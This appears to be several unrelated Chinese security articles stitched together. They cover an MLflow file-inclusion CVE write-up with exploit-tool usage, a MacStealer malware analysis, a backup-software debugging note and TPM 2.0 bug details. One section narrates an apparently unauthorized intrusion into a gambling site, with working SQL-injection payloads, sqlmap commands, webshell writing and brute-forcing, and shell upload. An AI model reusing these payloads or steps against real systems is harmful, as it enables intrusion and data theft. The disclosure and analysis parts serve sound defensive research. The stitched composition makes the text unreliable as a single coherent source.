CVE-2023-1177：MLflow中的LFI/RFILFI/RFI導致系統和雲帳戶被接管 所有CVE在版本2.2.2中已經被修復 已發布了漏洞利用工具和掃描工具 機器學習系統領域最流行的工具之一是MLflow（月下載量超過1300萬人次，且這個數字還在增長），它用於管理端到端機器學習生命週期。 Protect AI測試了MLflow的安全性，結果發現了一個混合型的本地文件包含/遠程文件包含(LFI/RFI)漏洞，可能導致整個系統或云提供商被人接管。強烈建議運行MLflow服務器的組織立即更新到最新版本，或者至少更新到2.2.2版本。版本2.2.1修復了CVE-2023-1177，版本2.2.2修復了CVE-2023-1176。我們在本博文中探討了該漏洞的影響、如何檢測它，以及我們發現這個嚴重漏洞的過程。如果你正在運行MLflow，請使用本博文中提供的免費工具，立即開始修補系統。使用傳統工具給系統打補丁可能是一個挑戰，因為許多自動化補丁管理系統並不枚舉或識別MLflow，就算枚舉或識別，可能也不會執行版本檢查。 立即升級到MLflow的最新版本非常重要，哪怕你的實例不在生產環境中，只在開發環境中使用。 影響如果利用該漏洞，未經身份驗證的遠程攻擊者可以讀取啟動了MLflow服務器的用戶可以訪問的這台服務器上的任何文件。 可以通過從MLflow服務器獲取私有SSH密鑰或云服務提供商憑據來獲得遠程代碼執行的機會。這讓攻擊者得以遠程登錄到服務器或云資源，並利用找到的憑據擁有的相應權限執行任意代碼。 漏洞細節不需要用戶交互。 不需要事先了解環境。 MLflow的所有自定義配置都易受攻擊，包括開箱即用的安裝環境。 MLflow 2.1.1之前的所有版本都容易受到LFI的攻擊。 漏洞利用工具適用於從MLflow v1.12到v2.1.1的所有版本。 MLflow 2.0之前的所有版本都容易受到LFI的攻擊，只需通過更簡單地利用：http:// MLflow維護者迅速響應了負責任披露的這個漏洞，在短短幾週內交付了修復程序。 MLflow 2.1.1之後的版本不再容易受到攻擊。 漏洞檢測若要檢查你的MLflow服務器是否容易受到攻擊，請使用我們的免費CVE-2023-117-scanner掃描工具（https://github.com/protectai/Snaike-MLflow）。 發現過程我們先安裝了MLflow，啟動攔截代理BurpSuite以攔截所有MLflow API調用，運行用數據填充MLflow的實驗，然後啟動UI服務器作進一步探索。 # Download MLflow source to get access to their example runs git clone https://github.com/mlflow/mlflow # Create and enter new directory outside the mlflow/directory mkdir mlflowui cd mlflowui # Copy the example code from the MLflow source into this new directory cp -r ./mlflow/examples/sklearn_elasticnet_wine . # Setup a virtual environment for installing requirements python3 -m venv venv source venv/bin/activate # Install mlflow in this virtual environment pip install mlflow pandas # Run the example experiment mlflow run --env-manager=local sklearn_elasticnet_wine -P alpha=0.5 # Run the UI to see the experiment details mlflow ui --host 127.0.0.1:8000 在創建實驗時，它給了我們指定存儲對象的目錄這一選項。這似乎是一個可配置的文件路徑，我們可以通過運行的示例實驗就可以看到： 圖1 這立即引起了我們的注意，因為這需要完美地實施過濾機制，以防止本地文件包含或任意文件覆蓋。然而，你無法從UI遠程運行MLflow實驗。由於當你通過UI創建實驗時，工件位置實際上沒有發生任何變化，因此這裡沒有任何安全考慮。然後，我們通過點擊單趟實驗運行繼續探索。 圖2 點擊上圖所示的運行名稱，將我們帶到實驗運行細節，在這裡我們可以看到實驗涉及的文件，並下載文件，如下圖所示。 在這裡，我們在工件文件中看到了一個很大的“Register Model”（註冊模型）按鈕。我們很好奇。 圖3 圖4 它似乎不是什麼特別值得關注的對象，因為它只是彈出一個模式，讓你選擇模型，然後將該模型的詳細信息保存為“Version 1”（版本1）。 圖5 但是底層到底發生了什麼？為此我們檢查了BurpSuite。 圖6 我們發現了在UI中並沒有顯示的另一個協議和文件路徑輸入。這似乎很可疑。我們將它手動更改為用戶的私有SSH密鑰：file: ///Users/danmcinerney/. ssh/id_rsa。訪問該文件將允許你以啟動了MLflow服務器的用戶的身份遠程登錄到MLflow主機。 圖7 新的source在響應中有所體現，這通常表明服務器端出現了變化。我們很想知道這實現了什麼操作，於是回過頭去查看已註冊的模型細節。實驗中沒有什麼運行工件，模型細節或模型版本細節中也沒有值得關注的對象。這似乎是另一條死胡同，類似我們發現你可以將實驗工件路徑指向任意位置，但UI隨後不讓你任何操作。然而在檢查BurpSuite請求和響應日誌後，我們發現了一些值得關注的異常。 攻擊者現在擁有訪問權 圖8 get-artifact API調用中的“500內部服務器錯誤”讓我們感到可疑。在安全測試的早期，get-artifact API調用值得注意，因為它是從工件存儲庫返回文件數據的調用。這是你從實驗運行下載模型的方法，我們發現它受到了一個防止本地文件包含漏洞的函數的保護，如下所示。 圖9 我們花了一些時間試圖繞過這個，但沒有成功。這個特殊的get-artifact調用的不同之處在於，它不是試圖從子文件夾獲取文件，而是直接訪問文件名。此外，它實際上不是同一個API調用。下面是記入文檔的get-artifact REST API調用： 圖10 下面是類似的model-version/get-artifact調用： 圖11 區別包括URL路徑、參數和值。這顯然不是同一個API調用。 我們注意到這個API調用不在說明文檔中。關鍵區別在於，它通過path URL參數直接查找文件名，而不是通過合法的get-artifact API調用中的相對文件路徑來查找。 這就意味著LFI防護機制並不存在，因為不需要執行目錄遍歷。只需要控制源文件夾的位置。在上面的幾個步驟中，當我們創建一個新的模型版本時，嘗試將API請求的source路徑位置修改為：file:///Users/danmcinerney/.ssh/id_rsa： 圖12 我們應該做的是將source位置更改為文件夾而不是更改為文件。我們糾正了這一點。 圖13 隨後我們重新發送了發現的這個未記入文檔的REST API調用，並將其指向id_rsa，這是新模型版本source位置中的文件以及提供遠程登錄服務器功能的私有SSH密鑰。 圖14 使用檢索到的SSH密鑰，我們就可以通過終端訪問運行MLflow服務器的主機。 MLflow最常被配置為使用S3存儲桶作為工件存儲區。如果是這種情況，那麼機器上另一個價值非常高的目標將是~/.aws/credentials文件，可想而知該文件存儲的是AWS憑據。 其他高價值目標可能包括包含明文密碼的Web服務器SQL配置文件或包含所有用戶密碼散列的/etc/shadow，這些用戶密碼散列可以通過hashcat之類的工具來破解。 漏洞利用工具為了幫助保護你的系統，我們創建了一個簡單的工具來發現潛在漏洞，這個工具名為MLFIflow.py（https://github.com/protectai/Snaike-MLflow）。 安裝git clone https://github.com/protectai/Snaike-MLflow cd Snaike-MLflow/MLFIflow python3 -m venv mlfiflow source mlfiflow/bin/activate pip install -r requirements.txt 使用默認情況下，MLFIflow將嘗試從MLflow服務器讀取/etc/passwd，並使用找到的用戶名搜索SSH密鑰和雲憑據文件： python MLFIflow.py -s http://1.2.3.4:5000 若要指定待下載的文件的自定義單詞列表，使用-f標誌： python MLFIflow.py -s http://1.2.3.4:5000 -f /path/to/wordlist.txt

趨勢科技的研究人員檢測到Mac惡意軟件MacStealer通過網站、社交媒體和消息平台Twitter、Discord和Telegram大肆傳播。 MacStealer，是使用Telegram 作為命令和控制(C2) 平台來竊取數據的最新威脅示例。它主要影響運行macOS 版本Catalina 以及之後運行在M1 和M2 CPU 上的設備。現在該惡意程序又有了新的傳播途徑，攻擊者通過假冒合法的遊戲賺錢(P2E)應用程序的圖片，引誘受害者下載它。 P2E是Play-to-earn 的縮寫,允許玩家通過玩遊戲來產生穩定的加密收入。每個遊戲的機制可能不同,但獎勵通常來自質押、刷遊戲幣或生成可交易的NFT物品。 趨勢科技的研究人員最近分析了一種名為MacStealer的Mac惡意軟件(檢測為TrojanSpy.MacOS.CpypwdStealer.A)，這是一種加密貨幣錢包和信息竊取程序，偽裝成合法遊戲賺錢(P2E)遊戲應用程。研究人員已經發現MacStealer的源代碼已經通過在線公共掃描服務洩露。該惡意軟件目前通過第三方網站傳播，使用從真實P2E應用程序中竊取的圖像和圖形，並在社交媒體和消息平台Twitter、Discord和Telegram上傳播。惡意軟件背後的攻擊者會偽裝成一家合法的遊戲公司，尋找測試人員，並吸引潛在的受害者下載他們的應用程序。 引誘新玩家與其他在感染設備的同時重定向用戶的假冒應用程序不同，攻擊者沒有假裝創建遊戲，只是從現有的P2E中復制。 Twitter賬戶和網站只是吸引用戶下載MacStealer的幌子。一旦惡意軟件執行，用戶就會在GUI提示中輸入各自的密碼，存儲在設備中的特定信息就會被竊取。 研究人員的傳感器在例行檢查中檢測到了高危示例進行分析，經過仔細檢查，發現worldofcretures[.]io網站與示例有關，該網站在Twitter上得到了大肆傳播。 檢查該網站後台發現假冒應用程序的頁面是在2023年1月才創建的，所有的圖形和文本都是直接從另一個P2E應用程序的網站上獲取的。這款假冒應用程序的推特頁面圖像也直接取自合法應用程序的社交媒體頁面，於2022年10月創建，與2021創建的合法應用程序帳戶相比，這是相對較新的。不知情的受害者可能沒有聽說過這款遊戲，他們很容易將假冒頁面誤認為是合法應用程序的原始遊戲和官方社交媒體賬號。 真實遊戲的網頁（上）和假冒遊戲的網頁（下） 這些網站在很多方面都有所不同（例如圖形、名稱和公司），如果感興趣的用戶知道這些細節，這些網站仍然可以識別。社交媒體帖子包括下載該應用程序的促銷活動，讓新玩家似乎只要連接到Discord渠道並下載遊戲就可以獲得免費贈品。一旦用戶加入攻擊者的渠道，攻擊者就會通過聊天說服用戶點擊惡意鏈接或下載惡意軟件文件。 假冒應用程序的帖子示例，用於重定向潛在受害者，並在Discord上“下載”遊戲 技術細節一旦受害者下載了遊戲，一個名為LauncherMacOS的.dmg文件，dmg（SHA256:8ea33c34645778b79dd8bb7dcf01a8ad1c79e7ada3fd61aca397ed0a2a57276，被Trend Micro檢測為TrojanSpy.MacOS.CypwdStealer.A）在系統中執行。簽名如下： 特別簽名在ARM64 M1蘋果處理器上尤為重要。它要求所有本機代碼都有有效的簽名（如果只是臨時的），否則操作系統將不會執行它。相反，它會在啟動時阻止本機代碼。 在檢查dmg中的應用程序包時，研究人員觀察到它包含以下使用Python編譯器Nuitka編譯的Mach-O二進製文件： 啟動器（SHA256:5e8f37420efb738a820e70b55a6b6a669222f03e4a8a408a7d4306b3257e12ff，被Trend Micro檢測為TrojanSpy.MacOS.CpypodStealer.A）Nuitka是一個不常見的編譯器，在測試過程中，主要的Mach-O顯示出可疑的網絡活動。研究人員還注意到Nuitka可以將Python腳本編譯成Mach-O二進製文件。 DMG示例的應用程序捆綁內容 程序本身分為兩個階段。第一個階段是Nuitka引導程序的執行。就其本身而言，邏輯本身是無害的，但會將惡意負載釋放到目標路徑，而第二階段是執行惡意負載。 惡意軟件的第一階段實現以下例程： 1.它從一個名為“有效載荷”的特殊部分讀取內容。 由惡意軟件二進製文件提取的部分 2. 它將內容寫入路徑為 第二階段Mach-O二進製文件釋放到系統上 3.它將環境變量NUITKA_ONEFILE_PARENT更改為當前進程號。 4.它執行提取內容的主要可執行文件，並清理引導版本本身。 第二階段可執行文件是一個基於CPython實現的程序，該程序由Nuitka從Python編譯而成。在編譯過程中，編譯器會清除部分信息以提高程序的執行效率，而Nuitka轉換的Python代碼完全清除了原始字節碼，無法恢復。由於不可逆的編譯過程，研究人員無法從Python源代碼的角度對其進行分析，但函數名稱和動態行為日誌提供了大量信息。 1.它試圖從以下錢包中竊取數據： Binance Exodus Keplr Metamask Phantom Trust wallet 用於竊取錢包數據的函數 2.它試圖竊取瀏覽器數據和密鑰鏈。在測試過程中，研究人員在系統上使用以下命令發現了該示例，用於文件/目錄發現和系統信息收集： /bin/sh -c uname -p 2 dev/null /bin/sh -c security default-keychain 用於竊取鑰匙鍊和錢包數據的函數 3.它使用chainbreaker轉儲鑰匙鏈。 4.彈出對話框，使用osascript騙取用戶密碼，命令如下： 對話框標題為“系統首選項”，圖標警告默認答案為“隱藏答案”。 獲取受害者密碼的對話框 5.它試圖將收集到的信息以Zip文件的形式發送到命令與控制（CC）服務器mac[.]cracked23[.]網站。 洩露數據的網絡數據包（頂部）和Zip文件的內容 發送到CC服務器的general_info.txt文件的內容 一旦下載並在受害者的系統中運行，MacStealer就會竊取受害者的錢包數據，並清空加密貨幣錢包。如果受害者沒有加密貨幣錢包，惡意軟件就會竊取用戶信息和鑰匙鏈。 通過社交媒體和其他平台傳播在掃描其他社交媒體帖子時，研究人員發現了攻擊者嘗試傳播MacStealer惡意軟件的努力。考慮到使用的戰術、技術和過程（TTP）是相似的，這個示例和部署可能是一個組織完成的。在本節中，我們以Impulse Flow假冒應用程序為例。 攻擊者創建一個Twitter賬戶和相關網站來宣傳假冒的遊戲應用。以下是一個帶有驗證圖標的Twitter賬戶示例。然後，他們將游戲宣傳為基於區塊鏈技術的免費P2E在線遊戲。 有一個鏈接樹鏈接，其中包含到他們其他通道的鏈接，Linktree 是一家在線工具平台，可以讓你在社交媒體上展示自己或品牌的多個網站鏈接。 Linktree 的主要業務是提供一個簡單易用的工具，讓用戶能夠在Instagram、TikTok、Twitter 等社交媒體上分享多個鏈接，從而幫助他們更好地展示自己或品牌，增加流量、轉化率和銷售額，其中包含指向其他渠道的鏈接： Website: https[:]//play-impulseflow[.]com/ Website: https[:]//impulse-flow[.]gitbook[.]io/impulse_flow-whitepaper/ Website: https[:]//github[.]com/ImpulseFlowBeta/1[.]0[.]3 Discord: https[:]//discord[.]gg/Impulse-flow Twitter: https[:]//twitter[.]com/lmpulse_Flow Telegram: https[:]//t[.]me/impulseflow_official 圖片搜索查詢顯示，推特和其他社交媒體賬戶中使用的媒體(圖片和視頻)抄襲了遊戲《余烬之剑》 (EmberSword)。 Ember Sword是一個多資產的虛擬經濟遊戲，其主要功能是支持用戶社區購買，出售和使用遊戲專屬虛擬資產。在Ember Sword中，用戶可以購買，出售和發行各種遊戲幣和令牌，包括經典貨幣，裝備，材料和其他供玩家交易的內容，這種內容可以用來升級角色，改善遊戲內的經濟秩序，以及豐富遊戲體驗。攻擊者利用這些平台誘使潛在受害者執行惡意軟件可執行文件。所觀察到的一些方法如下： 1.他們將其宣傳為一款公測遊戲，並吸引人們參與他們的測試計劃以換取獎勵。這些測試人員被邀請加入攻擊者的Discord或Telegram渠道，在那裡他們會得到惡意軟件二進製文件或下載惡意軟件二進製文件的鏈接。在某些情況下，鏈接或文件將需要密碼，他們通過Discord或Telegram渠道接收:https[://]twitter.com/lmpulse_Flow/status/1633735911782400000。 輸入密鑰可以讓潛在的受害者下載MacStealer惡意軟件二進製文件 2.他們直接向內容創造者傳達信息，幫助他們推廣遊戲。這被懷疑是一種針對這些有影響力的人的社會工程策略。 https[://]twitter.com/powrdragn/status/1638024217412390913 https[://]twitter.com/ender_thien/status/1637659072379101185 https[://]twitter.com/naerycrypto/status/1637226997817692161 https[://]twitter.com/CiervoKing/status/1637220583736762370 3.他們發布虛假的職位空缺，並引誘求職者下載他們的惡意軟件二進製文件：https://twitter.com/witty_taeil/status/s1631654308218298368。 一些人在推特賬戶上發布了關於與假冒遊戲應用程序和網站相關的惡意活動的警告。 一些用戶據稱是MacStealer惡意軟件的受害者 總結雖然P2E遊戲並不新鮮，但它正在重新引起人們的興趣，越來越受歡迎，而攻擊者也在努力利用這一不斷增長的趨勢。 MacStealer惡意軟件只是眾多利用P2E吸引力的惡意軟件之一。 P2E遊戲玩家最適合成為攻擊目標，因為這些遊戲的經濟模式要求他們使用加密貨幣和錢包。 安全研究人員可以發現，考慮到攻擊者使用Discord和Telegram直接與受害者溝通，使用不常見的手段傳播惡意軟件，調查分析惡意軟件並不容易。 該惡意軟件似乎並不復雜，由於原始代碼是Python腳本，因此使用它只需較低的技能。考慮到原始代碼是使用Nuitka編譯成Mach-O二進製文件的Python腳本，儘管這會使反編譯變得困難，因此其本身並不復雜。這對分析師來說可能很難進行逆向工程，因為儘管它很簡單，但使用Nuitka編譯Mach-O二進製文件表明，對一個好目標進行適當的攻擊可以獲得巨大的回報。在這種情況下，他們針對的是經常使用加密錢包的P2E遊戲玩家。攻擊者收集的大部分利潤來自通過社交工程技術竊取的加密貨幣，將惡意軟件發送到用戶的設備(即網站、Twitter賬戶和其他相關渠道)。 Discord為各種目的提供渠道，其中包括P2E遊戲和用戶。作為一個逐漸成為玩家交換信息的平台，在Discord中下載鏈接以訪問遊戲——無論是作為用戶還是測試人員——可能不會立即在受害者中引發危險信號。這也增加了攻擊者選擇該平台傳播惡意軟件的可能性。然而，一名受害者指出，攻擊者的渠道明顯缺乏互動，並將這些細節標記為對其他人的警告。其他用戶警告稱，只要他們要求截屏或發布警告推文，他們就會立即被這些渠道封殺。 此外，由於最近Twitter所有權的中斷和賬戶驗證政策的變化，攻擊者似乎濫用它來輕鬆獲得一個經過驗證的賬戶。這提供了一種合法性的假象，以提高假冒應用程序和賬戶的社交工程能力。使用這種技術也可以很容易地在TikTok、YouTube和Facebook等其他平台上宣傳。 為了避免和防禦像MacStealer這樣的威脅，研究人員強烈建議謹慎安裝來自非官方來源和應用程序平台的應用程序。為設備啟用最新的安全解決方案還可以幫助檢測、阻止和緩解這類威脅的風險。

0x00 前言Server Backup Manager(SBM)是一種快速、經濟且高性能的備份軟件，適用於物理和虛擬環境中的Linux和Windows服務器。本文將要介紹Server Backup Manager漏洞調試環境的搭建方法。 0x01 簡介本文將要介紹以下內容： 環境搭建 調試環境搭建 用戶數據庫文件提取 CVE-2022-36537簡要介紹 0x02 環境搭建安裝參考資料：http://wiki.r1soft.com/display/ServerBackupManager/Install+and+Upgrade+Server+Backup+Manager+on+Debian+and+Ubuntu.html 參考資料提供了兩種安裝方法，但是我在測試過程中均遇到了缺少文件/etc/init.d/cdp-server的錯誤 這裡改用安裝舊版本的Server Backup Manager，成功完成安裝，具體方法如下： 1.下載安裝包http://r1soft.mirror.iweb.ca/repo.r1soft.com/release/6.2.2/78/trials/R1soft-ServerBackup-Manager-SE-linux64-6-2-2.zip web管理頁面有以下兩個: http://127.0.0.1:8080 https://127.0.0.1:8443 0x03 調試環境搭建研究過程如下： (6) 使用IDEA下斷點並配置遠程調試，遠程調試成功如下圖 0x04 用戶數據庫文件提取 從以上代碼可以得出用戶口令的加密算法 (2)定位用戶創建的具體代碼實現位置 0x05 CVE-2022-36537簡要介紹漏洞分析文章：https://medium.com/numen-cyber-labs/cve-2022-36537-vulnerability-technical-analysis-with-exp-667401766746 文章中提到觸發RCE需要上傳一個帶有Payload的com.mysql.jdbc.Driver文件 這個操作只能利用一次，原因如下： 默認情況下，管理後台的的Database Driver頁面存在可以上傳的圖標，如下圖 上傳後不再顯示可上傳的圖標，如下圖 0x06 小結本文介紹了在搭建Server Backup Manager調試環境過程中一些問題的解決方法，分析用戶數據庫文件提取的方法，給出檢測CVE-2022-36537的建議。

0x00 信息搜集朋友给了我一个站，算一个比较大的bc，主站看了一下，没有入口，就换了他的一个推广平台 然后首先大致扫了一下目录，希望可以看见一些有用的东西。 这个时候我可以推荐大家一个接口，可以快速大致看看他重要的文件 https://scan.top15.cn/web/infoleak 例如探针，网站源码是否打包，很明显我没有扫出来，然后给大家看看扫描结果。 config.inc.php根据经验看应该是数据库的配置文件，但是大小为0B,试探性的访问一下，果然什么都没有 upload访问就是403，但是根据经验还是会再去扫一下它，说不定是什么fck编辑器呢，也很遗憾，啥子都没有扫到。 /index.php/login/ ，大小只有2kb，也根本不是后台，有点失落。 端口的话也只有这一个web资产，只好看一下他的网站功能了。 然后点击了一下查询，希望可以在这里找找注入。 0x01 后台注入 果然，有注入，剩下的就是找后台了。 查看当前数据库，and (extractvalue(1,concat(0x7e,(select database()),0x7e)))-- 这里记一下踩坑，account=1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--(' 这是完整的payload，最开始我的payload为account=1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+。 tm始终不出数据，我以为他妈有过滤。 还一个一个fuzzing。 后面想了想会不会注释闭合了还会追加').果然，闭合以后出了数据。 然后有用sqlmap跑数据，没想到tm的跑不出来。 只有自己重新构造sqlmap语句 python2 sqlmap.py -r 1.txt --prefix "')" --suffix "--('" --level 3 --tamper=space2plus --skip-urlencode 终于跑出来了。 后面看了一下payload，每次跑都会把空格编译为20%，url编码了以后payload就不生效了，就用了skip-urlencode这个参数。 0x02 注入点惊喜又来了，看了一下priv，真的，这么多mysql注入，终于有了一个比较高的权限。 我直接账号密码都没有看，刚刚报错除了绝对路径，这不--os-shell? 然后查看payload的时候，发现了hws，我就感觉不简单了，兄弟们。 果然，写不进去，后面加了--hex也是写不进去的。 那没事，还有--sql-shell。 用堆叠写，虽然我知道大概率写不进去，但是还是要尝试一下，说不定呢。 渗透tm就是玄学。 查看了一下priv，不是null，又给了我一丝丝希望，写，先写一个txt看看。 select 1 into outfile 'D:/wwwroot/wnshd.com_22fqiz/web/1.txt' 然后去网站看，并没有写进去，真的太难了。 就只剩下--file-write了，这个就不贴图了，依然还是没有拿下。 无奈，只有查看后台账号密码。 账号密码收集完了，就去找后台，但是很遗憾，还是没有找到，都接近绝望了。 这tm都送到嘴里了，怎么还是拿不下，我tm就感觉是sqlmap的问题，我有重新弄了一次上面的步骤，我明白了，sqlmap可能会骗你,但是hws不会，你写不进去，就是写不进去。 算了还是换一个思路吧，报错不是爆了这个目录吗？ wolsoowpppps，我在回去看看，不出意外的403,wolsoowpppps/admin，wolsoowpppps/login。 都没有东西，dirsearch一扫，tm还是没有。 0x03 写马不成功他报错不是web/wolsoowpppps这个路径吗，会不会是我绝对路径有问题，我访问 怎么也是403，那只能说明这是一个没有扫出来的目录，尼玛的，我tm感觉这里有东西。 结果一扫，图就不贴了，还是什么也没有。 哈哈哈哈。 有白高兴一场。 但是我始终觉得这个wolsoowpppps目录有问题，fuzzing一下，fuzzing出了web，然后再扫web，好家伙，出了一个temp。 php访问，一个大马。 这不快结素了吗？ 然后爆破，最终，成功爆破进来,上传蚁键，拿下。 这个大马看起也很熟悉呀。 但是hws还是真的猛。 命令无法执行，用了插件，还有那个.so的那个方法，都没有弄出来。 这里感谢一下黄哥，他说的护卫神主要是asp的，传一个冰蝎的马就可以了。 然后想了很多办法，这个权限提不下来，我相信xz的大佬应该会知道吧，我说一说情况。 目前只有d盘的查看修改权限，exe无法执行，意味着Ms系列用不起。 土豆一族传不上去。 iis秒不掉。 杀软是火绒，护卫神，安全狗。 向上cs的，但是dll和Mshta执行就卡死，目前暂时不知道怎么提权，想继续扩展，但是提权这一方面接触的少，还望先知的给位表哥们给给思路。 0x04 拿下后台最后，我想了想，那个大马是怎么传上去的。 对方可能也是注入起手->在一处找到了xss(我也找到了，但是由于客服是10月份下线的，已经换了站了，导致我的xss一直打不过来)->找到后台->由于是tp3.2.3的站，后台的rce（tp3.2.3缓存getshell）->上大马。 这是xss的位置 这个是后台 这个站虽然拿的比价坎坷，但是思路都是很简单的，还是多学习吧。 转载于原文链接： https://mp.weixin.qq.com/s/qNdLNaPNK_485uAPILQXRQhttps://xz.aliyun.com/t/8491

我們將在本文中詳細討論在可信平台模塊(TPM) 2.0參考實現代碼中發現的兩個漏洞。這兩個漏洞，即越界寫入（CVE-2023-1017）和越界讀取（CVE-2013-1018），影響了多個TPM 2.0軟件實現（如虛擬化軟件使用的軟件）以及多個硬件TPM。 介紹2021年10月，微軟發布了Windows 11。其中一個突出的安裝需求是需要可信平台模塊(TPM) 2.0。這一需求的含義是，為了能夠在虛擬機中運行Windows 11，虛擬化軟件必須通過對主機上的硬件TPM進行傳遞或通過向其提供虛擬TPM來向VM提供TPM。 我們發現這是一個有趣的漏洞研究主題，因為添加虛擬TPM意味著可以從客戶內部訪問虛擬化軟件的擴展攻擊面，因此它可能用於虛擬機逃逸。作為研究工作的結果，我們發現了兩個安全問題：一個被標識為CVE-2023-1017的越界寫入，另一個被識別為CVE-203-1018的越界讀取。它們可以從用戶模式應用程序通過發送帶有加密參數的惡意TPM 2.0命令來觸發。有趣的是，這兩個漏洞的影響比我們最初想像的要大，鑑於它們源自Trusted Computing Group（簡稱TCG，發布和維護TPM規範的非營利組織）發布的參考實現代碼，這些安全漏洞不僅影響到我們測試的每個虛擬化軟件，也包括硬件實現。 請注意，這篇文章中的大多數評估(例如關於可利用性、影響或受影響的平台)都是基於我們對基於軟件的虛擬TPM的分析，因為我們可以用一種簡單的方式調試它們來執行動態分析，因為調試Hyper-V的虛擬TPM更難，因為它作為一個IUM進程運行。相反，在沒有調試接口的單獨芯片中運行的TPM固件中，了解運行時發生的事情是一個完全不同的問題。事實證明，即使對硬件TPM的固件進行靜態分析也很困難，因為我們試圖分析的少數TPM固件更新碰巧是加密的。因此，缺乏對硬件TPM的具體評估並不意味著它們不受影響，而是由於缺乏可觀察性，我們無法評估它們中的大多數是如何受到影響的。但是，使用本文中發布的概念驗證代碼，至少會驗證一些TPM芯片是易受攻擊的。在嘗試OOB寫入後，芯片將停止響應（即不再識別命令），並需要重新啟動計算機才能再次運行，從而確認其易受攻擊狀態。 受影響的平台以下是受影響的軟件和硬件平台的簡單列表。其中列出的產品，是我們可以藉助本文中提供的PoC證明存在漏洞的產品，但其他TPM（無論是虛擬的還是物理的）也很可能存在漏洞。 在我們進行研究時，易受攻擊的代碼存在於TPM 2.0參考實現的最新可用版本：Trusted Platform Module Library Specification, Family '2.0', Level 00, Revision 01.59 – November 2019； Windows 10上的Microsoft Hyper-V(受影響模塊:TPMEngUM.dll版本10.0.19041.1415); VMware Workstation 版本16.2.4 構建-20089737(受影響模塊:tpm2emu.exe -可執行文件中沒有版本信息)； Qemu和VirtualBox使用的Libtpms/SWTPM (從主分支編譯，提交520a2fa27d27a4ab18f4cf1c597662c6a468565f); Nuvoton硬件TPM(固件版本：1.3.0.1); 通常，所有固件基於可信計算組參考實現代碼的TPM 2.0都會受到影響。 對雲計算的威脅當前幾乎所有主要的雲計算提供商都提供帶有虛擬TPM的實例，這使得攻擊者可能試圖利用虛擬TPM中的這些漏洞，以繞過虛擬機並破壞主機系統。 亞馬遜AWS已配備了NitroTPM，Nitro TPM：Trusted Platform Module (TPM) 2.0，是一項安全性和兼容性功能，可讓客戶更輕鬆地在其EC2實例中使用依賴於TPM的應用程序和操作系統功能。它符合TPM 2.0規範，可以輕鬆將使用TPM功能的現有本地工作負載遷移到EC2； Microsoft Azure提供虛擬TPM作為可信啟動的一部分； 谷歌云提供虛擬TPM作為屏蔽虛擬機的部分功能； Oracle Cloud Infrastructure提供虛擬TPM作為屏蔽實例的一部分。 那些使用基於TCG參考實現的虛擬TPM的提供商預計很容易受到攻擊。以Google Cloud為例，他們的虛擬TPM的核心來自IBM發布的代碼，該代碼自動從TPM 2.0規範的完整源代碼中提取，CryptParameterDecryption函數中的漏洞存在於其中。以微軟Azure為例，他們的虛擬TPM“符合TPM 2.0規範”，我們已經驗證了Windows 10上可用的Hyper-V版本中包含的虛擬TPM確實非常易受攻擊。 關於亞馬遜AWS和Oracle雲基礎設施，除了知道“符合TPM 2.0規範”並鏈接到TCG網站外，我們沒有太多關於他們的信息。 修復參考實例(Reference Implementation)可信計算組織（Trusted Computing Group，TCG）發布了TCG可信平台模塊庫的勘誤表1.4版，並對這兩個漏洞提出了修復建議。 軟件產品微軟在2023年3月的安全更新中修復了Hyper-V中的漏洞。他們對TPM 2.0在Azure的Pluton/HCL/Overlake/Manticore標準服務器上的OOB寫入影響的評估很低，因為只有2個字節覆蓋，目前該團隊還沒有一種易於實現的方法來獲得僅2個字節的EoP或RCE。 微軟還通過提交9bdd9f0aaba5e54b3c314cfff02cf532281a067e修復了他們的開源參考實現。 VMware預計將於2023年4月發布這些漏洞的修復程序。 Libtpms修復了提交324dbb4c27ae789c73b69dbf4611242267919dd4中的漏洞。 Chromium OS修復了提交3b87ed233acb4c76c27872e1ac0b74dc032199f1漏洞。 IBM在提交102893a5f45dbb0b0ecc0eb52a8dd4defe559f92中修復了他們的開源實現。 硬件產品Nuvoton為其NPCT65x TPM芯片發布了安全諮詢SA-003。 聯想發布了關於使用上述Nuvoton TPM的受影響產品的安全諮詢LEN-118320。 查看計算機製造商的網站以獲取TPM固件更新。 技術細節關於TPM加密參數的入門教程如Trusted Platform Module Library Specification，Family 2.0，Part 1：Architecture 第21節“基於會話的加密”中所描述的那樣，一些TPM 2.0命令具有可能需要加密的參數，這些參數可能需要去往TPM或通過TPM進行加密。可以使用基於會話的加密來確保這些參數的機密性。引用規範如下： 並非所有命令都支持參數加密。如果允許基於會話的加密，只有請求或響應的參數區域中的第一個參數可以被加密。參數必須有明顯的大小字段。只有參數的數據部分被加密。 TPM應該支持使用XOR模糊處理的基於會話的加密。對使用CFB模式的分組密碼的支持是特定於平台的。這兩種加密方法（XOR和CFB）不需要填充數據進行加密，因此加密數據大小和純文本數據大小相同。 基於會話的加密使用會話啟動時建立的算法參數以及從特定於會話的sessionKey派生的值。 如果sessionAttributes.decrypt在命令的會話中為SET，並且該命令的第一個參數是一個大小為緩衝區的參數，則使用會話的加密參數對該參數進行加密。 帶有加密參數的TPM 2.0命令由基本命令標頭、handleArea和sessionArea組成，最後是加密的參數parameterArea。結構如下： 如下圖所示，在TPM 2.0參考實現中，ExecCommand.c中的ExecuteCommand函數檢查sessionArea的authorizationSize字段是否至少為9（[1]）。之後，在[2]中，它計算parameterArea的開始（位於sessionArea之後），並將其保存到parmBufferStart變量中。在[3]中，它計算parameterArea的大小，並將其保存到parmBufferSize變量中。然後它調用ParseSessionBuffer()([3])，傳遞parmBufferStart和parmBufferSize作為參數([5], [6])。 SessionProcess.c中的函數ParseSessionBuffer解析命令的sessionArea。如果會話具有Decrypt屬性集（[1]），並且命令代碼允許參數加密，則ParseSessionBuffer調用CryptParameterDecryption()([2])，傳播parmBufferSize([3])和parmBufferStart([4])參數: CryptParameterDecryption函數中存在的漏洞CryptUtil.c中的函數CryptParameterDecryption對加密的命令參數執行就地解密。 此函數中出現的兩個安全漏洞漏洞1：OOB read(CVE-2023-1018):在[1]中，函數使用BYTE_ARRAY_TO_UINT16宏從parmBufferStart指向的緩衝區中讀取16位字段(cipherSize)，而不檢查是否有任何參數數據超過會話區域。之前在函數ExecuteCommand中執行了唯一的長度檢查，但該檢查只驗證了命令的sessionArea至少有9個字節。因此，如果格式錯誤的命令不包含越過sessionArea的parameterArea，它將觸發越界內存讀取，使TPM在命令結束後訪問內存。 請注意，BYTE_ARRAY_TO_INT16宏不執行任何邊界檢查： 